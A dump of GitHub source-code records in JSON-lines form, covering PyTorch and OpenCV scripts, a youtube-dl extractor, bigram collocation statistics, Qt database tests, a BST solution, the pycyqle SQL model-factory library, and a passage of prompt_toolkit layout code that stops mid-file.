model.load_state_dict(torch.load('/home/jarvis1121/AI/Rico_Repo/Spatial-Transformer-Network/model_save/stn_7_DistortedMNIST_RTS_ST-CNN.pth'))\n \n # for name, param in model.named_parameters():\n # if param.requires_grad:\n # print (name, torch.min(torch.abs(param.data)))","repo_name":"RicoSuaveGuapo/Spatial-Transformer-Network","sub_path":"train_stn.py","file_name":"train_stn.py","file_ext":"py","file_size_in_byte":5792,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"37887999369","text":"import numpy as np\nfrom Models.dataset import Dataset\nfrom Models.dataset_resumed import DatasetResumed\n\ndef convertDatasetGPSResumed( datasetResumedList):\n data = []\n for entry in datasetResumedList:\n data.append( np.array([entry.lat,entry.lon]))\n return np.asarray(data).astype(np.float)\n\ndef convertDatasetResumed( datasetResumedList):\n data = []\n target = [] \n for entry in datasetResumedList:\n data.append( [float(entry.sogAVG),float(entry.sogMax),float(entry.sogMin), entry.loc])\n target.append(entry.license)\n return Dataset(np.asarray(data),np.asarray(target), DatasetResumed.GetFeatureNames(), \"DatasetResumed\" )","repo_name":"SergeLage/Joined-Fishery-Analysis","sub_path":"JFA/AS/converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30677979014","text":"#-------------------------------------------------------------------------------\r\n# Name: module1\r\n# Purpose:\r\n#\r\n# Author: Sardhendu_Mishra\r\n#\r\n# Created: 18/02/2015\r\n# Copyright: (c) Sardhendu_Mishra 2015\r\n# Licence: <your licence>\r\n#-------------------------------------------------------------------------------\r\n\r\nimport numpy as np\r\nimport cv2\r\nimport math\r\nimport edge_detection\r\n\r\n\r\n# Let us first plot a canvas of 5*5\r\ncanvas=np.zeros((30,50), dtype=\"uint8\")\r\ncv2.imshow(\"canvas\", canvas)\r\ncv2.waitKey(0)\r\n\r\nwhite=(255,255,255)\r\n(centerX, centerY)=(15,15) # This is read as width * height\r\nradius=10\r\ncircled_canvas=cv2.circle(canvas, (centerX, centerY), radius, white, -1)\r\ncv2.imshow(\"Circled canvas\", canvas)\r\ncv2.waitKey(0)\r\n\r\ncv2.imwrite(\"C:\\\\Users\\\\sardhendu_mishra\\\\Desktop\\\\StudyHard\\\\Machine_learning\\\\photus\\\\image.jpg\", canvas)\r\n\r\ncv2.destroyAllWindows()\r\n\r\n\r\n# We load the image and perform research\r\nimage=cv2.imread(\"C:\\\\Users\\\\sardhendu_mishra\\\\Desktop\\\\StudyHard\\\\Machine_learning\\\\photus\\\\image.jpg\")\r\ncv2.imshow(\"Original\", image)\r\ncv2.waitKey(0)\r\n\r\nedge_detection.main_call(image)","repo_name":"Sardhendu/Image-Processing-Tools","sub_path":"Edge-Contour-Detection/contour.py","file_name":"contour.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"18903507211","text":"from __future__ import unicode_literals\n\nfrom ..utils import (\n int_or_none,\n str_to_int,\n)\nfrom .keezmovies import KeezMoviesIE\n\n\nclass Tube8IE(KeezMoviesIE):\n _VALID_URL = r'https?://(?:www\\.)?tube8\\.com/(?:[^/]+/)+(?P<display_id>[^/]+)/(?P<id>\\d+)'\n _TESTS = [{\n 'url': 'http://www.tube8.com/teen/kasia-music-video/229795/',\n 'md5': '65e20c48e6abff62ed0c3965fff13a39',\n 'info_dict': {\n 'id': '229795',\n 'display_id': 'kasia-music-video',\n 'ext': 'mp4',\n 'description': 'hot teen Kasia grinding',\n 'uploader': 'unknown',\n 'title': 'Kasia music video',\n 'age_limit': 18,\n 'duration': 230,\n }\n }, {\n 'url': 'http://www.tube8.com/shemale/teen/blonde-cd-gets-kidnapped-by-two-blacks-and-punished-for-being-a-slutty-girl/19569151/',\n 'only_matching': True,\n }]\n\n def _real_extract(self, url):\n webpage, info = self._extract_info(url)\n\n if not info['title']:\n info['title'] = self._html_search_regex(\n r'videoTitle\\s*=\\s*\"([^\"]+)', webpage, 'title')\n\n description = self._html_search_regex(\n r'>Description:</strong>\\s*(.+?)\\s*<', webpage, 'description', fatal=False)\n uploader = self._html_search_regex(\n r'<span class=\"username\">\\s*(.+?)\\s*<',\n webpage, 'uploader', fatal=False)\n\n like_count = int_or_none(self._search_regex(\n r'rupVar\\s*=\\s*\"(\\d+)\"', webpage, 'like count', fatal=False))\n dislike_count = int_or_none(self._search_regex(\n r'rdownVar\\s*=\\s*\"(\\d+)\"', webpage, 'dislike count', fatal=False))\n view_count = str_to_int(self._search_regex(\n r'<strong>Views: </strong>([\\d,\\.]+)\\s*</li>',\n webpage, 'view count', fatal=False))\n comment_count = str_to_int(self._search_regex(\n r'<span id=\"allCommentsCount\">(\\d+)</span>',\n webpage, 'comment count', fatal=False))\n\n info.update({\n 'description': description,\n 'uploader': uploader,\n 'view_count': view_count,\n 'like_count': like_count,\n 'dislike_count': dislike_count,\n 'comment_count': comment_count,\n })\n\n return info\n","repo_name":"shelbyt/tmarker","sub_path":"youtube_dl/extractor/tube8.py","file_name":"tube8.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28962224291","text":"import os\nimport re\nimport math\n\nDIRECTORY = '../ustawy'\n\n\ndef main():\n corpora = load_corpora()\n bigrams = count_bigrams(corpora)\n probability_calculator = ProbabilityCalculator(bigrams)\n pmi_results = pointwise_mutual_information(bigrams, probability_calculator)\n display_top_thirty(\"Top 30 results for Pointwise Mutual Information:\", pmi_results)\n llr_results = log_likelihood_ratio(bigrams, probability_calculator)\n print()\n display_top_thirty(\"Top 30 results for Log-Likelihood Ratio:\", llr_results)\n\n\ndef load_corpora():\n \"\"\" The text has to be properly normalized before the counts are computed: it should be downcased\n and all punctuation should be removed. \"\"\"\n corpora = []\n for file in generate_paths():\n bill = file_content(file)\n bill = re.sub(r'\\W+', ' ', bill)\n bill = bill.lower()\n corpora.append(bill)\n return corpora\n\n\ndef count_bigrams(corpora):\n \"\"\" Compute bigram counts in the corpora, ignoring bigrams which contain at least one token that is not a word\n (it contains characters other than letters). \"\"\"\n bigrams = dict()\n for bill in corpora:\n words = bill.split()\n for (first, second) in zip(words[0:len(words)-1], words[1:len(words)]):\n if not re.search(r'[0-9_]', first+second):\n if (first, second) not in bigrams:\n bigrams[(first, second)] = 1\n else:\n bigrams[(first, second)] += 1\n return bigrams\n\n\ndef pointwise_mutual_information(bigrams, probability_calculator):\n \"\"\" Use pointwise mutual information to compute the measure for all pairs of words. \"\"\"\n bigrams_with_pmi = []\n for (x, y) in bigrams.keys():\n no_log = probability_calculator.both(x, y) / (probability_calculator.left(x) * probability_calculator.right(y))\n bigrams_with_pmi.append(((x, y), math.log2(no_log)))\n return sorted(bigrams_with_pmi, key=(lambda e: e[1]), reverse=True)\n\n\ndef log_likelihood_ratio(bigrams, probability_calculator):\n \"\"\" Use log likelihood ratio (LLR) to compute the measure for all pairs of words. \"\"\"\n bigrams_with_llr = []\n for (x, y) in bigrams.keys():\n value = llr_2x2(probability_calculator.both(x, y),\n probability_calculator.right_no_left(x, y),\n probability_calculator.left_no_right(x, y),\n probability_calculator.no_left_no_right(x, y))\n bigrams_with_llr.append(((x, y), value))\n return sorted(bigrams_with_llr, key=(lambda e: e[1]), reverse=True)\n\n\ndef display_top_thirty(description, data):\n print(description)\n top_30 = \", \".join([left+\" \"+right for ((left, right), _) in data[:30]])\n print(top_30)\n\n\nclass ProbabilityCalculator:\n def __init__(self, bigrams):\n self.bigrams = bigrams\n all_words = set()\n all_words.update([left for (left, _) in self.bigrams.keys()])\n all_words.update([right for (_, right) in self.bigrams.keys()])\n self.occurrences = {word: (0, 0) for word in all_words}\n self.denominator = 0\n for ((left, right), count) in self.bigrams.items():\n self.occurrences[left] = (self.occurrences[left][0] + count, self.occurrences[left][1])\n self.occurrences[right] = (self.occurrences[right][0], self.occurrences[right][1] + count)\n self.denominator += count\n\n def left(self, word):\n nominator = self.occurrences[word][0]\n return nominator/self.denominator\n\n def right(self, word):\n nominator = self.occurrences[word][1]\n return nominator/self.denominator\n\n def left_no_right(self, word_left, word_right):\n nominator = self.occurrences[word_left][0] - self.bigrams[(word_left, word_right)]\n return nominator/self.denominator\n\n def right_no_left(self, word_left, word_right):\n nominator = self.occurrences[word_right][1] - self.bigrams[(word_left, word_right)]\n return nominator/self.denominator\n\n def no_left_no_right(self, word_left, word_right):\n nominator = self.denominator - self.occurrences[word_left][0] - self.occurrences[word_right][1]\n if (word_left, word_right) in self.bigrams.keys():\n nominator += self.bigrams[(word_left, word_right)]\n return nominator / self.denominator\n\n def any(self, word):\n # not used but kept here for making possible not distinguishing between \"left\" and \"right\" word.\n nominator = self.occurrences[word][0] + self.occurrences[word][1]\n if (word, word) in self.bigrams.keys():\n nominator -= self.bigrams[(word, word)]\n return nominator/self.denominator\n\n def both(self, word_left, word_right):\n nominator = self.bigrams[(word_left, word_right)]\n return nominator/self.denominator\n\n\ndef generate_paths():\n (_, _, filenames) = next(os.walk(DIRECTORY))\n return map(lambda name: os.path.join(DIRECTORY, name), filenames)\n\n\ndef file_content(path):\n with open(path, 'r') as inp:\n return ''.join(inp.readlines())\n\n\n# The two functions below come from python-llr library by Ted Dunning (https://github.com/tdunning/python-llr)\ndef llr_2x2(k11, k12, k21, k22):\n \"\"\" Special case of llr with a 2x2 table \"\"\"\n return 2 * (denormEntropy([k11+k12, k21+k22]) +\n denormEntropy([k11+k21, k12+k22]) -\n denormEntropy([k11, k12, k21, k22]))\n\n\ndef denormEntropy(counts):\n \"\"\" Computes the entropy of a list of counts scaled by the sum of the counts.\n If the inputs sum to one, this is just the normal definition of entropy \"\"\"\n counts = list(counts)\n total = float(sum(counts))\n # Note tricky way to avoid 0*log(0)\n return -sum([k * math.log(k/total + (k == 0)) for k in counts])\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Peantab/NLP-Tasks","sub_path":"task4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9902218619","text":"#зад 21\nx=int(input())\ny=int(input())\nimport math\nc=math.sqrt(x**2+y**2)\nprint(c, 'гипотенуза')\ns=1/2*x*y\nprint(s, 'площадь')\np=x+y+c\nprint(p, 'периметр')\n\n","repo_name":"Leeeeena/python","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":184,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20489098123","text":"import os\nimport unittest\nfrom lib import db\nfrom uuid import uuid4\nfrom PySide2.QtSql import QSqlQuery\nfrom PySide2.QtCore import QDateTime\n\nclass TestPeopleDatabase(unittest.TestCase):\n\tdef setUp(self) -> None:\n\t\tif os.path.exists(db.FILENAME):\n\t\t\tos.remove(db.FILENAME)\n\t\tdb.init(\"\")\n\n\t\tperson = db.Person()\n\t\tdata = [\n\t\t\tdict(\n\t\t\t\tuid=uuid4().__str__(),\n\t\t\t\tusername=uuid4().__str__()[:5],\n\t\t\t\tlast_interaction=QDateTime.currentDateTime()\n\t\t\t) for _ in range(10)\n\t\t]\n\n\t\tfor one in data:\n\t\t\tperson.new(**one)\n\n\tdef test_insert(self):\n\t\tself.assertTrue(db.Person().new(\n\t\t\tuid=\"test\",\n\t\t\tusername=\"rubbie kelvin - test name\"\n\t\t))\n\n\tdef test_multiple_query(self):\n\t\tquery = QSqlQuery()\n\t\tres = query.exec_(\"\"\"\n\t\tINSERT INTO people (uid, username) values ('new uid', 'kelvin')\n\t\t\"\"\")\n\n\t\tquery = QSqlQuery()\n\t\tres = res and query.exec_(\"\"\"\n\t\tINSERT INTO people (uid, username) values ('new-uid', 'kelvin')\n\t\t\"\"\")\n\n\t\tif not res:\n\t\t\tprint(query.lastError())\n\n\t\tself.assertTrue(res)\n\n\tdef test_person_update(self):\n\t\tperson = db.Person()\n\t\t\n\t\tres = person.new(uid=\"new\", username=\"james\")\n\t\tself.assertTrue(res)\n\n\t\tres = person.update(\"new\", username=\"kandy man\")\n\t\tself.assertTrue(res)\n\n\tdef test_getAll(self):\n\t\tperson = db.Person()\n\t\tdata = person.getAll()\n\t\tprint(data)\n\t\tself.assertTrue(type(data) is list)\n\nclass TestMessageDatabase(unittest.TestCase):\n\tdef setUp(self):\n\t\tif os.path.exists(db.FILENAME):\n\t\t\tos.remove(db.FILENAME)\n\t\tdb.init(\"\")\n\n\t\tperson = db.Person()\n\t\tdata = [\n\t\t\tdict(\n\t\t\t\tuid=uuid4().__str__(),\n\t\t\t\tusername=f\"person_{_}\",\n\t\t\t\tlast_interaction=QDateTime.currentDateTime()\n\t\t\t) for _ in range(2)\n\t\t]\n\n\t\tfor one in data:\n\t\t\tperson.new(**one)\n\n\tdef test_create_message(self):\n\t\tmessage = db.Message()\n\t\tmessage.new(body=\"hello\", time_uploaded=QDateTime.currentDateTime(), message_uid=uuid4().__str__(), sender=1)\n","repo_name":"rubbieKelvin/courier","sub_path":"tests/database_test.py","file_name":"database_test.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"18"} +{"seq_id":"41925595213","text":"'''\nhttps://leetcode.com/problems/balance-a-binary-search-tree/\nGiven a binary search tree, return a balanced binary search tree with the same node values.\nA binary search tree is balanced if and only if the depth of the two subtrees of every node never differ by more than 1.\nIf there is more than one answer, return any of them.\n\nExample 1:\nInput: root = [1,null,2,null,3,null,4,null,null]\nOutput: [2,1,3,null,null,null,4]\nExplanation: This is not the only correct answer, [3,1,4,null,2,null,null] is also correct.\n'''\n'''\nTime:O(n)\nSpace:O(n)\n'''\nclass Solution:\n def balanceBST(self, root: TreeNode) -> TreeNode:\n nums = []\n def traverse(root):\n if not root:\n return\n traverse(root.left)\n nums.append(root.val)\n traverse(root.right)\n \n def construct(nums):\n if not nums:\n return\n idx = len(nums)//2\n node = TreeNode(nums[idx])\n node.left = construct(nums[:idx])\n node.right = construct(nums[idx+1:])\n return node\n \n traverse(root)\n return construct(nums)\n","repo_name":"MJJ919/My-Leetcode-Records","sub_path":"1382. Balance a Binary Search Tree.py","file_name":"1382. Balance a Binary Search Tree.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"75169338281","text":"\"\"\" pycyqle is a Python package that enables model instances\nto be created from a relational database and a so-called 'order'\nthat defines what the resulting models should be composed of.\n\"\"\"\n\nfrom functools import reduce\nfrom operator import iconcat\nfrom copy import deepcopy\nimport importlib\nimport inspect\nimport json\nfrom . import utils\n\n__author__ = \"Bruno Lange\"\n__license__ = \"MIT\"\n__version__ = \"0.0.1\"\n__maintainer__ = \"Bruno Lange\"\n__email__ = \"blangeram@gmail.com\"\n__status__ = \"Development\"\n\n\ndef _fluent(obj, attr, *args):\n if args:\n setattr(obj, attr, args[0])\n return obj\n return getattr(obj, attr)\n\n\nclass Factory:\n \"\"\"Factory instances can build models given a data source and\n an order which defines what the final models should be composed of.\n \"\"\"\n\n # Factories cache\n FACTORIES = {}\n\n def __init__(self):\n self._model = None\n self._model_map = {}\n # key-value mapper for factory components\n self._component_map = {}\n # key-value mapper for factory inventory\n self._inventory_map = {}\n # reference to parent, i.e, the calling parent\n # in the order hierarchy\n self._parent = None\n self._order = None\n self._alias = None\n self._processors = []\n self._filters = []\n\n def name(self, *args):\n \"\"\" Fluent setter/getter for factory name.\"\"\"\n return _fluent(self, '_name', *args)\n\n def table(self, *args):\n \"\"\" Fluent setter/getter for factory table.\"\"\"\n return _fluent(self, '_table', *args)\n\n def alias(self, *args):\n \"\"\" Fluent setter/getter for factory table alias.\"\"\"\n return _fluent(self, '_alias', *args)\n\n def prefix(self):\n \"\"\" Returns factory table prefix.\"\"\"\n return self.alias() if self.alias() else self.table()\n\n def primary_key(self, *args):\n \"\"\" Fluent setter/getter for factory table primary key.\"\"\"\n return _fluent(self, '_primary_key', *args)\n\n def model(self, *args):\n \"\"\" Fluent setter/getter for factory model.\"\"\"\n return _fluent(self, '_model', *args)\n\n def components(self, *args):\n \"\"\" Fluent setter/getter for factory components.\n If no argument is passed, the list of factory components is returned.\n Otherwise, the method takes a list of components as its first argument\n and registers them in the factory component mapper.\"\"\"\n if not args:\n return self._component_map.values()\n\n for component in args[0]:\n self._component_map[component.name()] = component\n\n return self\n\n def component(self, name):\n \"\"\" Returns component associated with given name.\"\"\"\n return self._component_map[name]\n\n def has_component(self, name):\n \"\"\" Returns True if factory has component in its inventory.\"\"\"\n return name in self._component_map\n\n def inventory_items(self, *args):\n \"\"\" Fluent setter/getter for factory inventory items.\"\"\"\n if not args:\n return self._inventory_map\n\n self._inventory_map = {inv.name(): inv for inv in args[0]}\n\n return self\n\n def has_inventory_item(self, name):\n \"\"\" Return True if inventory associated with name exists within\n the factory.\"\"\"\n return name in self._inventory_map\n\n def inventory(self, name):\n \"\"\" Returns the inventory item associated with given name.\"\"\"\n return self._inventory_map[name]\n\n def parent(self, *args):\n \"\"\" Fluent setter/getter for factory parent.\"\"\"\n if not args:\n return self._parent\n\n self._parent = {\n 'factory': args[0],\n 'inventory': args[1]\n }\n return self\n\n def order(self, *args):\n \"\"\" Fluent setter/getter for factory order.\"\"\"\n if not args:\n return self._order\n\n self._order = Factory.standardize_order(args[0])\n for component_name in self._order['__components__']:\n if not self.has_component(component_name):\n raise ValueError(\n 'invalid component [{}]'.format(component_name)\n )\n return self\n\n def process(self, *args):\n \"\"\" If no arguments are passed, returns all processors registered.\n The last argument must be a callable value that takes a model as\n its only argument. Any arguments before the callback set the path\n to the factory which the processor should be attached to.\n \"\"\"\n if not args:\n return self._processors\n\n closure = args[-1]\n factory = self._navigate_to_factory(args[:-1])\n factory._process(closure)\n return self\n\n def _navigate_to_factory(self, path):\n return reduce(\n lambda fac, name: fac.inventory(name).factory(),\n path,\n self\n )\n\n def _process(self, closure):\n if not callable(closure):\n raise ValueError('processor must be callable')\n\n self._processors.append(utils.Processor(closure))\n\n def validate(self):\n \"\"\" Returns a list with validation errors.\n An empty list can be interpreted as a 'passing' factory.\"\"\"\n errors = []\n if not self.name():\n errors.append('missing name')\n if not self.model():\n errors.append('missing model')\n\n return reduce(\n iconcat,\n [i.validate() for i in self._inventory_map.values()],\n errors\n )\n\n def model_key(self):\n \"\"\" Returns the key associated with the registerd model.\n The key is used in the factory's model map.\"\"\"\n model = self.model()\n # pylint: disable=no-member\n return model.__name__ if inspect.isclass(model) else model\n\n def build(self, mgr, order, ids):\n \"\"\" Returns a list of assembled models given a data source\n and a list of IDs.\"\"\"\n self.order(order)\n self._model_map = {}\n self._build(mgr, self.order(), Factory.binds(ids), self._model_map)\n model_key = self.model_key()\n if not ids:\n models = self._model_map[model_key].values()\n else:\n if not isinstance(ids, list):\n ids = [ids]\n\n models = [\n self._model_map[model_key][_id] for _id in ids\n if _id in self._model_map[model_key]\n ]\n\n if ids is None or isinstance(ids, list):\n return models\n\n if len(models) != 1:\n raise Exception('single build failed')\n\n return models[0]\n\n def _build(self, mgr, order, binds, model_map):\n if not order:\n return\n\n if inspect.isclass(self.model()):\n model_constructor = self.model()\n else:\n module_name, class_name = self.model().rsplit('.', 1)\n model_constructor = getattr(\n importlib.import_module(module_name),\n class_name\n )\n\n if not self.model_key() in model_map:\n model_map[self.model_key()] = {}\n\n query = self.query(order['__components__'], binds, 0)\n mgr.execute(query, binds)\n data = mgr.data()\n\n if not data:\n return\n\n components = self._get_order_components(order['__components__'])\n payloads = {}\n _map = model_map[self.model_key()]\n for row in data:\n _id = row['__id__']\n if _id in _map:\n model = _map[_id]\n else:\n model = model_constructor(_id)\n _map[_id] = model\n\n for component in components:\n value = row[component.name()]\n carrier = getattr(model, component.carrier())\n carrier(value)\n\n for processor in self._processors:\n processor.attach(model)\n\n if self.parent():\n p_id = row['__pid__']\n if p_id not in payloads:\n payloads[p_id] = []\n\n payloads[p_id].append(model)\n\n del order['__components__']\n for key, components in order.items():\n if not self.has_inventory_item(key):\n raise Exception('inventory item not defined')\n\n inv = self.inventory(key)\n fac = deepcopy(inv.factory())\n fac.parent(self, inv)\n fac._build(mgr, components, binds, model_map)\n\n for processor in self._processors:\n processor.run()\n\n if self.parent():\n parent = self.parent()\n factory = parent['factory']\n inventory = parent['inventory']\n carrier = inventory.carrier()\n parent_map = model_map[factory.model_key()]\n for p_id, models in payloads.items():\n if p_id in parent_map:\n parent_model = parent_map[p_id]\n _carrier = getattr(parent_model, carrier)\n _carrier(models[0] if inventory.single() else models)\n\n def query(self, components, binds, depth=0):\n query = [\n 'SELECT {}'.format(self._compile_select(components)),\n 'FROM {}'.format(self._compile_table())\n ]\n if self.parent():\n query.append(self._compile_join())\n\n query.append('WHERE {}'.format(self._compile_where(binds, depth)))\n\n tabs = ' '*depth\n return '{}{}'.format(\n tabs,\n '\\n{}'.format(tabs).join(query)\n )\n\n def _compile_select(self, components):\n if components is not None:\n select = [self._column_query('\"__id__\"')]\n else:\n select = ['DISTINCT {}'.format(self._column_query())]\n\n if components and self.parent():\n select.append(self.parent()['factory']._column_query('\"__pid__\"'))\n\n if components:\n select += list(map(\n lambda c: c.format_column(self.prefix()),\n self._get_order_components(components)\n ))\n\n return \"\\n, \".join(select)\n\n def _compile_table(self):\n _from = self.table()\n if self.alias():\n _from += ' ' + self.alias()\n\n return _from\n\n def _compile_join(self):\n parent = self.parent()\n inventory = parent['inventory']\n join = inventory.join()\n\n return join.compile()\n\n def _compile_where(self, binds, depth=0):\n if not binds:\n return '1=1'\n\n if not self.parent():\n return '{prefix}.{pk} IN ({binds})'.format(\n prefix=self.prefix(),\n pk=self.primary_key() if self.primary_key() else 'ROWID',\n binds=','.join('%(id{})s'.format(i) for i in range(len(binds)))\n )\n\n parent_factory = self.parent()['factory']\n return '{table}.{pk} IN (\\n{query}\\n{depth})'.format(\n table=parent_factory.table(),\n pk=parent_factory.primary_key() or 'ROWID',\n query=parent_factory.query(None, binds, depth+1),\n depth=' '*depth\n )\n\n def _column_query(self, alias=None):\n if not self.primary_key():\n return 'ROWIDTOCHAR({}.ROWID) AS {}'.format(\n self.prefix(), alias\n )\n\n return '{prefix}.{pk}{alias}'.format(\n prefix=self.prefix(),\n pk=self.primary_key(),\n alias=' AS {}'.format(alias) if alias else ''\n )\n\n def _get_order_components(self, names):\n return list(map(\n lambda name: self.component(name),\n names\n ))\n\n @staticmethod\n def bind_reducer(binds, item):\n index = len(binds)\n binds['id{}'.format(index)] = item\n return binds\n\n @staticmethod\n def binds(ids):\n if ids is None:\n return []\n\n if not isinstance(ids, list):\n ids = [ids]\n\n return reduce(Factory.bind_reducer, ids, {})\n\n @staticmethod\n def standardize_order(order):\n if not isinstance(order, dict):\n order = {i: v for i, v in enumerate(order)}\n\n std_order = {'__components__': []}\n for key, value in order.items():\n if isinstance(key, int):\n std_order['__components__'].append(value)\n else:\n if key == '__components__':\n std_order[key] = value\n else:\n std_order[key] = Factory.standardize_order(value)\n\n return std_order\n\n @staticmethod\n def from_json(filename):\n with open(filename, 'r') as handle:\n return Factory.from_dict(json.load(handle))\n\n @staticmethod\n def from_dict(dic):\n factory_name = dic['name']\n if factory_name in Factory.FACTORIES:\n return Factory.FACTORIES[factory_name]\n\n if 'inventory' not in dic:\n dic['inventory'] = {}\n\n factory = Factory()\n factory.name(factory_name)\n\n Factory.FACTORIES[factory_name] = factory\n\n (\n factory\n .table(dic['table'])\n .primary_key(dic['primary_key'])\n .model(dic['model'])\n .components(Factory.build_components(dic['components']))\n .inventory_items(Factory.build_inventory(dic['inventory']))\n )\n\n if 'alias' in dic:\n factory.alias(dic['alias'])\n\n errors = factory.validate()\n if errors:\n raise Exception('invalid factory -> {}'.format(errors))\n\n return factory\n\n @staticmethod\n def env_build(factory_name):\n if factory_name in Factory.FACTORIES:\n return Factory.FACTORIES[factory_name]\n\n factories = Factory.load_factories(factory_name)\n if factory_name not in factories:\n raise Exception('can not load {}'.format(factory_name))\n\n fac_props = factories[factory_name]\n if 'inventory' not in fac_props:\n fac_props['inventory'] = []\n\n factory = Factory()\n factory.name(factory_name)\n\n Factory.FACTORIES[factory_name] = factory\n\n (\n factory\n .table(fac_props['table'])\n .primary_key(fac_props['primary_key'])\n .model(fac_props['model'])\n .components(Factory.build_components(fac_props['components']))\n .inventory_items(Factory.build_inventory(fac_props['primary_key']))\n )\n\n if 'alias' in fac_props:\n factory.alias(fac_props['alias'])\n\n errors = factory.validate()\n if errors:\n raise Exception('invalid factory')\n\n return factory\n\n @staticmethod\n def build_components(components_map):\n def _mapper(name, properties):\n return (\n Component()\n .name(name)\n .column(properties['column'])\n .carrier(properties['carrier'])\n .ctype(properties.get('type', 'string'))\n )\n\n return [\n _mapper(name, properties)\n for name, properties in components_map.items()\n ]\n\n @staticmethod\n def build_inventory(inventory_map):\n def _mapper(name, properties):\n return (\n Inventory()\n .name(name)\n .factory(Factory.from_json(properties['factory']))\n .join(Factory.build_join(properties['join']))\n .carrier(properties['carrier'])\n .single(properties.get('single', False))\n )\n\n return [\n _mapper(name, properties)\n for name, properties in inventory_map.items()\n ]\n\n @staticmethod\n def build_join(properties):\n _join = Join()\n\n if isinstance(properties, list):\n properties = '\\n'.join(_join)\n\n if isinstance(properties, str):\n return _join.shoehorn(properties)\n\n return _join\\\n .table(properties['table'])\\\n .alias(properties['alias'] if 'alias' in properties else None)\\\n .on(properties['on'])\n\n @staticmethod\n def load_factories(factory_name):\n return []\n\n\nclass Component:\n def name(self, *args):\n return _fluent(self, '_name', *args)\n\n def column(self, *args):\n return _fluent(self, '_column', *args)\n\n def carrier(self, *args):\n return _fluent(self, '_carrier', *args)\n\n def ctype(self, *args):\n return _fluent(self, '_type', *args)\n\n def format_column(self, prefix):\n column = '{}.{}'.format(prefix, self.column())\n return '{} AS {}'.format(column, self.name())\n\n\nclass Inventory:\n def __init__(self):\n super().__init__()\n self._factory = None\n self._inventory_map = {}\n self._single = False\n\n def inventory(self, *args):\n if not args:\n return self._inventory_map\n\n items = args[0]\n for inventory in items:\n self._inventory_map[inventory.name()] = inventory\n\n return self\n\n def has(self, name):\n return name in self._inventory_map\n\n def name(self, *args):\n return _fluent(self, '_name', *args)\n\n def carrier(self, *args):\n return _fluent(self, '_carrier', *args)\n\n def join(self, *args):\n return _fluent(self, '_join', *args)\n\n def single(self, *args):\n return _fluent(self, '_single', *args)\n\n def factory(self, *args):\n if not args:\n return self._factory\n\n factory = args[0]\n if not isinstance(factory, Factory):\n raise Exception('need Factory object')\n\n self._factory = factory\n return self\n\n def validate(self):\n errors = []\n\n if not self.name():\n errors.append('missing inventory name')\n if not self.factory():\n errors.append('missing inventory factory')\n if not self.join():\n errors.append('missing inventory join')\n if not self.carrier():\n errors.append('missing inventory carrier')\n\n return errors\n\n\nclass Join:\n def __init__(self):\n super().__init__()\n self._table = None\n self._alias = None\n self._on = None\n self._shoehorn = None\n\n def table(self, *args):\n return _fluent(self, '_table', *args)\n\n def alias(self, *args):\n return _fluent(self, '_alias', *args)\n\n def on(self, *args):\n return _fluent(self, '_on', *args)\n\n def shoehorn(self, *args):\n return _fluent(self, '_shoehorn', *args)\n\n def reference(self):\n return self.alias() if self.alias() else self.table()\n\n def validate(self):\n errors = []\n if not self.table():\n errors.append('missing [table]')\n if not self.on():\n errors.append('missing [on]')\n\n return errors\n\n def compile(self, counter_map={}):\n if self.shoehorn():\n return self.shoehorn()\n\n reference = self.reference()\n if reference in counter_map and counter_map[reference] > 1:\n alias = '{}{}'.format(reference, counter_map[reference])\n replace = alias\n else:\n alias = self.alias()\n replace = reference\n\n _map = {}\n _map[reference + '.'] = replace + '.'\n return 'JOIN {table}{alias} ON {on}'.format(\n table=self.table(),\n alias=' {}'.format(self.alias()) if self.alias() else '',\n on=str(self.on()).format(_map)\n )\n","repo_name":"brunolange/pycyqle","sub_path":"pycyqle/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":19429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14754814530","text":"\"\"\"\nContainer for the layout.\n(Containers can contain other containers or user interface controls.)\n\"\"\"\nfrom __future__ import unicode_literals\n\nfrom six import with_metaclass\nfrom abc import ABCMeta, abstractmethod\n\nfrom .screen import Point, WritePosition\nfrom .dimension import LayoutDimension, sum_layout_dimensions, max_layout_dimensions\nfrom .controls import UIControl\nfrom prompt_toolkit.reactive import Integer\nfrom prompt_toolkit.filters import CLIFilter, Always, Never\n\n__all__ = (\n 'HSplit',\n 'VSplit',\n 'FloatContainer',\n 'Float',\n 'Window',\n)\n\n\nclass Layout(with_metaclass(ABCMeta, object)):\n \"\"\"\n Base class for user interface layout.\n \"\"\"\n @abstractmethod\n def reset(self):\n pass\n\n @abstractmethod\n def width(self, cli): # XXX: rename to preferred_width\n # Should return a LayoutDimension\n pass\n\n @abstractmethod # XXX: rename to preferred_height\n def height(self, cli, width):\n # Should return a LayoutDimension\n pass\n\n @abstractmethod\n def write_to_screen(self, cli, screen, write_position):\n pass\n\n @abstractmethod\n def walk(self):\n \"\"\"\n Walk through all the layout nodes (and their children) and yield them.\n \"\"\"\n\n\nclass HSplit(Layout):\n \"\"\"\n Several layouts, one stacked above/under the other.\n \"\"\"\n def __init__(self, children):\n assert all(isinstance(c, Layout) for c in children)\n self.children = children\n\n def width(self, cli):\n dimensions = [c.width(cli) for c in self.children]\n return max_layout_dimensions(dimensions)\n\n def height(self, cli, width):\n dimensions = [c.height(cli, width) for c in self.children]\n return sum_layout_dimensions(dimensions)\n\n def reset(self):\n for c in 